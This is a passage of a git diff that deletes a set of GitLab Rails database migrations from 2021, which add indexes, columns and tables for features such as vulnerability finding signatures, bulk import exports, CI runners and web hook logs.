- INDEX_NAME = 'index_merge_requests_on_target_project_id_and_source_branch'
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :merge_requests, [:target_project_id, :source_branch], name: INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name :epic_issues, INDEX_NAME
- end
-end
diff --git a/db/migrate/20210329191850_add_finding_signature_table.rb b/db/migrate/20210329191850_add_finding_signature_table.rb
deleted file mode 100644
index 74a12d54a8e..00000000000
--- a/db/migrate/20210329191850_add_finding_signature_table.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-# frozen_string_literal: true
-
-class AddFindingSignatureTable < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- SIGNATURE_IDX = :idx_vuln_signatures_on_occurrences_id_and_signature_sha
- UNIQ_IDX = :idx_vuln_signatures_uniqueness_signature_sha
-
- def up
- with_lock_retries do
- create_table :vulnerability_finding_signatures do |t|
- t.references :finding,
- index: true,
- null: false,
- foreign_key: { to_table: :vulnerability_occurrences, column: :finding_id, on_delete: :cascade }
-
- t.timestamps_with_timezone null: false
-
- t.integer :algorithm_type, null: false, limit: 2
- t.binary :signature_sha, null: false
-
- t.index %i[finding_id signature_sha],
- name: SIGNATURE_IDX,
- unique: true # only one link should exist between occurrence and the signature
-
- t.index %i[finding_id algorithm_type signature_sha],
- name: UNIQ_IDX,
- unique: true # these should be unique
- end
- end
- end
-
- def down
- with_lock_retries do
- drop_table :vulnerability_finding_signatures
- end
- end
-end
diff --git a/db/migrate/20210329192716_add_composite_index_to_award_emoji.rb b/db/migrate/20210329192716_add_composite_index_to_award_emoji.rb
deleted file mode 100644
index ce37afdbc29..00000000000
--- a/db/migrate/20210329192716_add_composite_index_to_award_emoji.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-class AddCompositeIndexToAwardEmoji < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- INDEX_NAME = 'idx_award_emoji_on_user_emoji_name_awardable_type_awardable_id'
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :award_emoji, %i[user_id name awardable_type awardable_id], name: INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name :award_emoji, INDEX_NAME
- end
-end
diff --git a/db/migrate/20210330015805_add_cloud_to_licenses.rb b/db/migrate/20210330015805_add_cloud_to_licenses.rb
deleted file mode 100644
index d0c7112d0b0..00000000000
--- a/db/migrate/20210330015805_add_cloud_to_licenses.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-class AddCloudToLicenses < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def change
- add_column :licenses, :cloud, :boolean, default: false
- end
-end
diff --git a/db/migrate/20210331000934_add_config_to_ci_runners.rb b/db/migrate/20210331000934_add_config_to_ci_runners.rb
deleted file mode 100644
index e9a5fadc613..00000000000
--- a/db/migrate/20210331000934_add_config_to_ci_runners.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# frozen_string_literal: true
-
-class AddConfigToCiRunners < ActiveRecord::Migration[6.0]
- def change
- add_column :ci_runners, :config, :jsonb, default: {}, null: false
- end
-end
diff --git a/db/migrate/20210331125111_add_default_target_project.rb b/db/migrate/20210331125111_add_default_target_project.rb
deleted file mode 100644
index 1a2c5ccca7d..00000000000
--- a/db/migrate/20210331125111_add_default_target_project.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddDefaultTargetProject < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- def up
- with_lock_retries do
- add_column :project_settings, :mr_default_target_self, :boolean, default: false, null: false
- end
- end
-
- def down
- with_lock_retries do
- remove_column :project_settings, :mr_default_target_self
- end
- end
-end
diff --git a/db/migrate/20210331145548_add_index_for_last_deployment.rb b/db/migrate/20210331145548_add_index_for_last_deployment.rb
deleted file mode 100644
index a50d8ea403a..00000000000
--- a/db/migrate/20210331145548_add_index_for_last_deployment.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-class AddIndexForLastDeployment < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- INDEX_NAME = 'index_deployments_on_environment_id_status_and_id'
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :deployments, [:environment_id, :status, :id], name: INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name :deployments, INDEX_NAME
- end
-end
diff --git a/db/migrate/20210331180118_remove_deprecated_index_from_award_emoji.rb b/db/migrate/20210331180118_remove_deprecated_index_from_award_emoji.rb
deleted file mode 100644
index b8787eb171c..00000000000
--- a/db/migrate/20210331180118_remove_deprecated_index_from_award_emoji.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class RemoveDeprecatedIndexFromAwardEmoji < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- INDEX_NAME = 'index_award_emoji_on_user_id_and_name'
-
- disable_ddl_transaction!
-
- def up
- # Index deprecated in favor of idx_award_emoji_on_user_emoji_name_awardable_type_awardable_id
- remove_concurrent_index_by_name(:award_emoji, INDEX_NAME)
- end
-
- def down
- add_concurrent_index(:award_emoji, [:user_id, :name], name: INDEX_NAME)
- end
-end
diff --git a/db/migrate/20210401134157_add_index_to_pages_deployments.rb b/db/migrate/20210401134157_add_index_to_pages_deployments.rb
deleted file mode 100644
index aef27c7c6f9..00000000000
--- a/db/migrate/20210401134157_add_index_to_pages_deployments.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-class AddIndexToPagesDeployments < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- INDEX_NAME = 'index_pages_deployments_on_file_store_and_id'
-
- def up
- add_concurrent_index :pages_deployments, [:file_store, :id], name: INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name :pages_deployments, INDEX_NAME
- end
-end
diff --git a/db/migrate/20210401134455_remove_index_mirror_data_on_next_execution_and_retry_count.rb b/db/migrate/20210401134455_remove_index_mirror_data_on_next_execution_and_retry_count.rb
deleted file mode 100644
index ee59e72e398..00000000000
--- a/db/migrate/20210401134455_remove_index_mirror_data_on_next_execution_and_retry_count.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-# frozen_string_literal: true
-
-# See https://docs.gitlab.com/ee/development/migration_style_guide.html
-# for more information on how to write migrations for GitLab.
-
-class RemoveIndexMirrorDataOnNextExecutionAndRetryCount < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- DOWNTIME = false
-
- INDEX_NAME = 'index_mirror_data_on_next_execution_and_retry_count'
-
- def up
- remove_concurrent_index(
- :project_mirror_data,
- %i[next_execution_timestamp retry_count],
- name: INDEX_NAME
- )
- end
-
- def down
- add_concurrent_index(
- :project_mirror_data,
- %i[next_execution_timestamp retry_count],
- name: INDEX_NAME
- )
- end
-end
diff --git a/db/migrate/20210401175134_add_before_expiry_notification_delivered_to_keys.rb b/db/migrate/20210401175134_add_before_expiry_notification_delivered_to_keys.rb
deleted file mode 100644
index 6a2ea0e738c..00000000000
--- a/db/migrate/20210401175134_add_before_expiry_notification_delivered_to_keys.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-class AddBeforeExpiryNotificationDeliveredToKeys < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def change
- add_column :keys, :before_expiry_notification_delivered_at, :datetime_with_timezone
- end
-end
diff --git a/db/migrate/20210401192808_add_index_to_keys_on_expires_at_and_before_expiry_notification_undelivered.rb b/db/migrate/20210401192808_add_index_to_keys_on_expires_at_and_before_expiry_notification_undelivered.rb
deleted file mode 100644
index ff792d2e6e6..00000000000
--- a/db/migrate/20210401192808_add_index_to_keys_on_expires_at_and_before_expiry_notification_undelivered.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class AddIndexToKeysOnExpiresAtAndBeforeExpiryNotificationUndelivered < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- INDEX_NAME = 'idx_keys_expires_at_and_before_expiry_notification_undelivered'
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :keys,
- "date(timezone('UTC', expires_at)), before_expiry_notification_delivered_at",
- where: 'before_expiry_notification_delivered_at IS NULL', name: INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name(:keys, INDEX_NAME)
- end
-end
diff --git a/db/migrate/20210406063442_create_namespaces_id_parent_id_partial_index.rb b/db/migrate/20210406063442_create_namespaces_id_parent_id_partial_index.rb
deleted file mode 100644
index 073d1ee2bc5..00000000000
--- a/db/migrate/20210406063442_create_namespaces_id_parent_id_partial_index.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-class CreateNamespacesIdParentIdPartialIndex < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- NAME = 'index_namespaces_id_parent_id_is_null'
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :namespaces, :id, where: 'parent_id IS NULL', name: NAME
- end
-
- def down
- remove_concurrent_index :namespaces, :id, name: NAME
- end
-end
diff --git a/db/migrate/20210406140057_add_total_tuple_count_to_batched_migrations.rb b/db/migrate/20210406140057_add_total_tuple_count_to_batched_migrations.rb
deleted file mode 100644
index 32b5f27a577..00000000000
--- a/db/migrate/20210406140057_add_total_tuple_count_to_batched_migrations.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-
-class AddTotalTupleCountToBatchedMigrations < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def up
- add_column :batched_background_migrations, :total_tuple_count, :bigint
- end
-
- def down
- remove_column :batched_background_migrations, :total_tuple_count
- end
-end
diff --git a/db/migrate/20210407002511_add_type_to_dast_site_profile.rb b/db/migrate/20210407002511_add_type_to_dast_site_profile.rb
deleted file mode 100644
index 99d9970a2a8..00000000000
--- a/db/migrate/20210407002511_add_type_to_dast_site_profile.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# frozen_string_literal: true
-
-class AddTypeToDastSiteProfile < ActiveRecord::Migration[6.0]
- def change
- add_column :dast_site_profiles, :target_type, :integer, limit: 2, default: 0, null: false
- end
-end
diff --git a/db/migrate/20210407111027_add_whats_new_application_setting.rb b/db/migrate/20210407111027_add_whats_new_application_setting.rb
deleted file mode 100644
index 450c26e2199..00000000000
--- a/db/migrate/20210407111027_add_whats_new_application_setting.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# frozen_string_literal: true
-
-class AddWhatsNewApplicationSetting < ActiveRecord::Migration[6.0]
- def change
- add_column :application_settings, :whats_new_variant, :integer, limit: 2, default: 0
- end
-end
diff --git a/db/migrate/20210407140539_add_verification_state_and_started_at_to_terraform_state_version_table.rb b/db/migrate/20210407140539_add_verification_state_and_started_at_to_terraform_state_version_table.rb
deleted file mode 100644
index 987be4ab1f0..00000000000
--- a/db/migrate/20210407140539_add_verification_state_and_started_at_to_terraform_state_version_table.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-# frozen_string_literal: true
-
-class AddVerificationStateAndStartedAtToTerraformStateVersionTable < ActiveRecord::Migration[6.0]
- def change
- change_table(:terraform_state_versions) do |t|
- t.column :verification_started_at, :datetime_with_timezone
- t.integer :verification_state, default: 0, limit: 2, null: false
- end
- end
-end
diff --git a/db/migrate/20210409084242_create_index_on_notes_for_cherry_picked_merge_requests.rb b/db/migrate/20210409084242_create_index_on_notes_for_cherry_picked_merge_requests.rb
deleted file mode 100644
index 2bcdf4c8982..00000000000
--- a/db/migrate/20210409084242_create_index_on_notes_for_cherry_picked_merge_requests.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-class CreateIndexOnNotesForCherryPickedMergeRequests < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- NAME = 'index_notes_for_cherry_picked_merge_requests'
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :notes, [:project_id, :commit_id], where: "((noteable_type)::text = 'MergeRequest'::text)", name: NAME
- end
-
- def down
- remove_concurrent_index_by_name :notes, name: NAME
- end
-end
diff --git a/db/migrate/20210411212813_add_clusters_integrations_prometheus.rb b/db/migrate/20210411212813_add_clusters_integrations_prometheus.rb
deleted file mode 100644
index 7b7894fdcc8..00000000000
--- a/db/migrate/20210411212813_add_clusters_integrations_prometheus.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-# frozen_string_literal: true
-
-class AddClustersIntegrationsPrometheus < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- def up
- with_lock_retries do
- create_table :clusters_integration_prometheus, id: false do |t|
- t.timestamps_with_timezone null: false
- t.references :cluster, primary_key: true, default: nil, index: false, foreign_key: { on_delete: :cascade }
- t.boolean :enabled, null: false, default: false
- end
- end
- end
-
- def down
- with_lock_retries do
- drop_table :clusters_integration_prometheus
- end
- end
-end
diff --git a/db/migrate/20210412111213_create_security_orchestration_policy_rule_schedule.rb b/db/migrate/20210412111213_create_security_orchestration_policy_rule_schedule.rb
deleted file mode 100644
index 365fa36f11b..00000000000
--- a/db/migrate/20210412111213_create_security_orchestration_policy_rule_schedule.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-# frozen_string_literal: true
-
-class CreateSecurityOrchestrationPolicyRuleSchedule < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- INDEX_PREFIX = 'index_sop_schedules_'
-
- disable_ddl_transaction!
-
- def up
- table_comment = { owner: 'group::container security', description: 'Schedules used to store relationship between project and security policy repository' }
-
- create_table_with_constraints :security_orchestration_policy_rule_schedules, comment: Gitlab::Json.dump(table_comment) do |t|
- t.timestamps_with_timezone
- t.datetime_with_timezone :next_run_at, null: true
-
- t.references :security_orchestration_policy_configuration, null: false, foreign_key: { to_table: :security_orchestration_policy_configurations, on_delete: :cascade }, index: { name: INDEX_PREFIX + 'on_sop_configuration_id' }
- t.references :user, null: false, foreign_key: { on_delete: :cascade }, index: { name: INDEX_PREFIX + 'on_user_id' }
-
- t.integer :policy_index, null: false
- t.text :cron, null: false
-
- t.text_limit :cron, 255
- end
- end
-
- def down
- with_lock_retries do
- drop_table :security_orchestration_policy_rule_schedules
- end
- end
-end
diff --git a/db/migrate/20210412132736_add_instance_url_to_jira_connect_installations.rb b/db/migrate/20210412132736_add_instance_url_to_jira_connect_installations.rb
deleted file mode 100644
index 78b5e7d5d35..00000000000
--- a/db/migrate/20210412132736_add_instance_url_to_jira_connect_installations.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-# frozen_string_literal: true
-
-class AddInstanceUrlToJiraConnectInstallations < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- # rubocop:disable Migration/AddLimitToTextColumns
- # limit is added in db/migrate/20210216163811_add_text_limit_to_jira_connect_installations_instance_url.rb
- def up
- add_column :jira_connect_installations, :instance_url, :text
- end
- # rubocop:enable Migration/AddLimitToTextColumns
-
- def down
- remove_column :jira_connect_installations, :instance_url
- end
-end
diff --git a/db/migrate/20210412132824_add_text_limit_to_jira_connect_installations_instance_url.rb b/db/migrate/20210412132824_add_text_limit_to_jira_connect_installations_instance_url.rb
deleted file mode 100644
index 22c82ccd223..00000000000
--- a/db/migrate/20210412132824_add_text_limit_to_jira_connect_installations_instance_url.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddTextLimitToJiraConnectInstallationsInstanceUrl < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- add_text_limit :jira_connect_installations, :instance_url, 255
- end
-
- def down
- remove_text_limit :jira_connect_installations, :instance_url
- end
-end
diff --git a/db/migrate/20210412142223_add_user_index_on_spam_logs.rb b/db/migrate/20210412142223_add_user_index_on_spam_logs.rb
deleted file mode 100644
index 0a12f0f1a87..00000000000
--- a/db/migrate/20210412142223_add_user_index_on_spam_logs.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddUserIndexOnSpamLogs < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- INDEX_NAME = 'index_spam_logs_on_user_id'
-
- def up
- add_concurrent_index :spam_logs, :user_id, name: INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name :spam_logs, INDEX_NAME
- end
-end
diff --git a/db/migrate/20210412172030_add_configured_at_to_security_orchestration_policy.rb b/db/migrate/20210412172030_add_configured_at_to_security_orchestration_policy.rb
deleted file mode 100644
index 8e21e0f5182..00000000000
--- a/db/migrate/20210412172030_add_configured_at_to_security_orchestration_policy.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-class AddConfiguredAtToSecurityOrchestrationPolicy < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def change
- add_column :security_orchestration_policy_configurations, :configured_at, :datetime_with_timezone, null: true
- end
-end
diff --git a/db/migrate/20210413121101_add_created_at_web_hook_id_index_to_partitioned_web_hook_log.rb b/db/migrate/20210413121101_add_created_at_web_hook_id_index_to_partitioned_web_hook_log.rb
deleted file mode 100644
index 344f4859b47..00000000000
--- a/db/migrate/20210413121101_add_created_at_web_hook_id_index_to_partitioned_web_hook_log.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-# frozen_string_literal: true
-
-class AddCreatedAtWebHookIdIndexToPartitionedWebHookLog < ActiveRecord::Migration[6.0]
- include Gitlab::Database::PartitioningMigrationHelpers
-
- DOWNTIME = false
-
- CREATED_AT_WEB_HOOK_ID_INDEX_NAME = 'index_web_hook_logs_part_on_created_at_and_web_hook_id'
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_partitioned_index :web_hook_logs_part_0c5294f417,
- [:created_at, :web_hook_id],
- name: CREATED_AT_WEB_HOOK_ID_INDEX_NAME
- end
-
- def down
- remove_concurrent_partitioned_index_by_name :web_hook_logs_part_0c5294f417, CREATED_AT_WEB_HOOK_ID_INDEX_NAME
- end
-end
diff --git a/db/migrate/20210413123832_add_index_on_web_hook_id_to_partitioned_web_hook_log.rb b/db/migrate/20210413123832_add_index_on_web_hook_id_to_partitioned_web_hook_log.rb
deleted file mode 100644
index 300c19d3e51..00000000000
--- a/db/migrate/20210413123832_add_index_on_web_hook_id_to_partitioned_web_hook_log.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-# frozen_string_literal: true
-
-class AddIndexOnWebHookIdToPartitionedWebHookLog < ActiveRecord::Migration[6.0]
- include Gitlab::Database::PartitioningMigrationHelpers
-
- DOWNTIME = false
-
- WEB_HOOK_ID_INDEX_NAME = 'index_web_hook_logs_part_on_web_hook_id'
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_partitioned_index :web_hook_logs_part_0c5294f417,
- :web_hook_id,
- name: WEB_HOOK_ID_INDEX_NAME
- end
-
- def down
- remove_concurrent_partitioned_index_by_name :web_hook_logs_part_0c5294f417, WEB_HOOK_ID_INDEX_NAME
- end
-end
diff --git a/db/migrate/20210413155324_add_pause_seconds_to_batched_background_migrations.rb b/db/migrate/20210413155324_add_pause_seconds_to_batched_background_migrations.rb
deleted file mode 100644
index ca73c85963e..00000000000
--- a/db/migrate/20210413155324_add_pause_seconds_to_batched_background_migrations.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# frozen_string_literal: true
-
-class AddPauseSecondsToBatchedBackgroundMigrations < ActiveRecord::Migration[6.0]
- def change
- add_column :batched_background_migrations, :pause_ms, :integer, null: false, default: 100
- end
-end
diff --git a/db/migrate/20210414045322_add_pause_seconds_to_batched_background_migration_jobs.rb b/db/migrate/20210414045322_add_pause_seconds_to_batched_background_migration_jobs.rb
deleted file mode 100644
index d232f9c0305..00000000000
--- a/db/migrate/20210414045322_add_pause_seconds_to_batched_background_migration_jobs.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# frozen_string_literal: true
-
-class AddPauseSecondsToBatchedBackgroundMigrationJobs < ActiveRecord::Migration[6.0]
- def change
- add_column :batched_background_migration_jobs, :pause_ms, :integer, null: false, default: 100
- end
-end
diff --git a/db/migrate/20210414095944_add_index_services_on_project_and_type_where_inherit_null.rb b/db/migrate/20210414095944_add_index_services_on_project_and_type_where_inherit_null.rb
deleted file mode 100644
index 395742318e2..00000000000
--- a/db/migrate/20210414095944_add_index_services_on_project_and_type_where_inherit_null.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddIndexServicesOnProjectAndTypeWhereInheritNull < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- INDEX_NAME = 'index_services_on_project_and_type_where_inherit_null'
-
- def up
- add_concurrent_index(:services, [:project_id, :type], where: 'inherit_from_id IS NULL', name: INDEX_NAME)
- end
-
- def down
- remove_concurrent_index_by_name(:services, INDEX_NAME)
- end
-end
diff --git a/db/migrate/20210414100914_add_bulk_import_exports_table.rb b/db/migrate/20210414100914_add_bulk_import_exports_table.rb
deleted file mode 100644
index 14a7421c1e4..00000000000
--- a/db/migrate/20210414100914_add_bulk_import_exports_table.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-# frozen_string_literal: true
-
-class AddBulkImportExportsTable < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- def up
- create_table_with_constraints :bulk_import_exports do |t|
- t.bigint :group_id
- t.bigint :project_id
- t.timestamps_with_timezone null: false
- t.integer :status, limit: 2, null: false, default: 0
- t.text :relation, null: false
- t.text :jid, unique: true
- t.text :error
-
- t.text_limit :relation, 255
- t.text_limit :jid, 255
- t.text_limit :error, 255
- end
- end
-
- def down
- drop_table :bulk_import_exports
- end
-end
diff --git a/db/migrate/20210414130017_add_foreign_key_to_bulk_import_exports_on_project.rb b/db/migrate/20210414130017_add_foreign_key_to_bulk_import_exports_on_project.rb
deleted file mode 100644
index 2f7d3713302..00000000000
--- a/db/migrate/20210414130017_add_foreign_key_to_bulk_import_exports_on_project.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddForeignKeyToBulkImportExportsOnProject < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_foreign_key :bulk_import_exports, :projects, column: :project_id, on_delete: :cascade
- end
-
- def down
- with_lock_retries do
- remove_foreign_key :bulk_import_exports, column: :project_id
- end
- end
-end
diff --git a/db/migrate/20210414130526_add_foreign_key_to_bulk_import_exports_on_group.rb b/db/migrate/20210414130526_add_foreign_key_to_bulk_import_exports_on_group.rb
deleted file mode 100644
index b7172c6987e..00000000000
--- a/db/migrate/20210414130526_add_foreign_key_to_bulk_import_exports_on_group.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddForeignKeyToBulkImportExportsOnGroup < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_foreign_key :bulk_import_exports, :namespaces, column: :group_id, on_delete: :cascade
- end
-
- def down
- with_lock_retries do
- remove_foreign_key :bulk_import_exports, column: :group_id
- end
- end
-end
diff --git a/db/migrate/20210414131600_add_external_pipeline_validation_to_application_setting.rb b/db/migrate/20210414131600_add_external_pipeline_validation_to_application_setting.rb
deleted file mode 100644
index 537f7727691..00000000000
--- a/db/migrate/20210414131600_add_external_pipeline_validation_to_application_setting.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class AddExternalPipelineValidationToApplicationSetting < ActiveRecord::Migration[6.0]
- def up
- add_column :application_settings, :external_pipeline_validation_service_timeout, :integer
- # rubocop:disable Migration/AddLimitToTextColumns
- add_column :application_settings, :encrypted_external_pipeline_validation_service_token, :text
- add_column :application_settings, :encrypted_external_pipeline_validation_service_token_iv, :text
- add_column :application_settings, :external_pipeline_validation_service_url, :text
- # rubocop:enable Migration/AddLimitToTextColumns
- end
-
- def down
- remove_column :application_settings, :external_pipeline_validation_service_timeout
- remove_column :application_settings, :encrypted_external_pipeline_validation_service_token
- remove_column :application_settings, :encrypted_external_pipeline_validation_service_token_iv
- remove_column :application_settings, :external_pipeline_validation_service_url
- end
-end
diff --git a/db/migrate/20210414131807_add_bulk_import_exports_table_indexes.rb b/db/migrate/20210414131807_add_bulk_import_exports_table_indexes.rb
deleted file mode 100644
index 1cbd1cadf5e..00000000000
--- a/db/migrate/20210414131807_add_bulk_import_exports_table_indexes.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-# frozen_string_literal: true
-
-class AddBulkImportExportsTableIndexes < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- GROUP_INDEX_NAME = 'partial_index_bulk_import_exports_on_group_id_and_relation'
- PROJECT_INDEX_NAME = 'partial_index_bulk_import_exports_on_project_id_and_relation'
-
- def up
- add_concurrent_index :bulk_import_exports,
- [:group_id, :relation],
- unique: true,
- where: 'group_id IS NOT NULL',
- name: GROUP_INDEX_NAME
-
- add_concurrent_index :bulk_import_exports,
- [:project_id, :relation],
- unique: true,
- where: 'project_id IS NOT NULL',
- name: PROJECT_INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name(:bulk_import_exports, GROUP_INDEX_NAME)
- remove_concurrent_index_by_name(:bulk_import_exports, PROJECT_INDEX_NAME)
- end
-end
diff --git a/db/migrate/20210414133310_add_bulk_import_export_uploads_table.rb b/db/migrate/20210414133310_add_bulk_import_export_uploads_table.rb
deleted file mode 100644
index d20e57848e9..00000000000
--- a/db/migrate/20210414133310_add_bulk_import_export_uploads_table.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class AddBulkImportExportUploadsTable < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- def up
- create_table_with_constraints :bulk_import_export_uploads do |t|
- t.references :export, index: true, null: false, foreign_key: { to_table: :bulk_import_exports, on_delete: :cascade }
- t.datetime_with_timezone :updated_at, null: false
- t.text :export_file
-
- t.text_limit :export_file, 255
- end
- end
-
- def down
- drop_table :bulk_import_export_uploads
- end
-end
diff --git a/db/migrate/20210415100159_initialize_conversion_of_ci_build_needs_to_bigint.rb b/db/migrate/20210415100159_initialize_conversion_of_ci_build_needs_to_bigint.rb
deleted file mode 100644
index 068dceda272..00000000000
--- a/db/migrate/20210415100159_initialize_conversion_of_ci_build_needs_to_bigint.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class InitializeConversionOfCiBuildNeedsToBigint < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- def up
- initialize_conversion_of_integer_to_bigint :ci_build_needs, :build_id
- end
-
- def down
- trigger_name = rename_trigger_name(:ci_build_needs, :build_id, :build_id_convert_to_bigint)
-
- remove_rename_triggers :ci_build_needs, trigger_name
-
- remove_column :ci_build_needs, :build_id_convert_to_bigint
- end
-end
diff --git a/db/migrate/20210415142700_add_url_limit_to_pipeline_validation.rb b/db/migrate/20210415142700_add_url_limit_to_pipeline_validation.rb
deleted file mode 100644
index 9c38e04a96b..00000000000
--- a/db/migrate/20210415142700_add_url_limit_to_pipeline_validation.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddUrlLimitToPipelineValidation < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- CONSTRAINT_NAME = 'app_settings_ext_pipeline_validation_service_url_text_limit'
-
- def up
- add_text_limit :application_settings, :external_pipeline_validation_service_url, 255, constraint_name: CONSTRAINT_NAME
- end
-
- def down
- remove_check_constraint(:application_settings, CONSTRAINT_NAME)
- end
-end
diff --git a/db/migrate/20210415144538_remove_index_epics_on_group_id_from_epics.rb b/db/migrate/20210415144538_remove_index_epics_on_group_id_from_epics.rb
deleted file mode 100644
index f691af4d8d2..00000000000
--- a/db/migrate/20210415144538_remove_index_epics_on_group_id_from_epics.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class RemoveIndexEpicsOnGroupIdFromEpics < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- INDEX_NAME = 'index_epics_on_group_id'
-
- disable_ddl_transaction!
-
- def up
- remove_concurrent_index_by_name :epics, INDEX_NAME
- end
-
- def down
- add_concurrent_index :epics, :group_id, name: INDEX_NAME
- end
-end
diff --git a/db/migrate/20210415172516_create_vulnerability_finding_evidence_requests.rb b/db/migrate/20210415172516_create_vulnerability_finding_evidence_requests.rb
deleted file mode 100644
index 2fe33ff23ba..00000000000
--- a/db/migrate/20210415172516_create_vulnerability_finding_evidence_requests.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-# frozen_string_literal: true
-
-class CreateVulnerabilityFindingEvidenceRequests < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- create_table_with_constraints :vulnerability_finding_evidence_requests do |t|
- t.timestamps_with_timezone null: false
-
- t.references :vulnerability_finding_evidence, index: { name: 'finding_evidence_requests_on_finding_evidence_id' }, null: false, foreign_key: { on_delete: :cascade }
- t.text :method
- t.text :url
-
- t.text_limit :method, 32
- t.text_limit :url, 2048
- end
- end
-
- def down
- with_lock_retries do
- drop_table :vulnerability_finding_evidence_requests
- end
- end
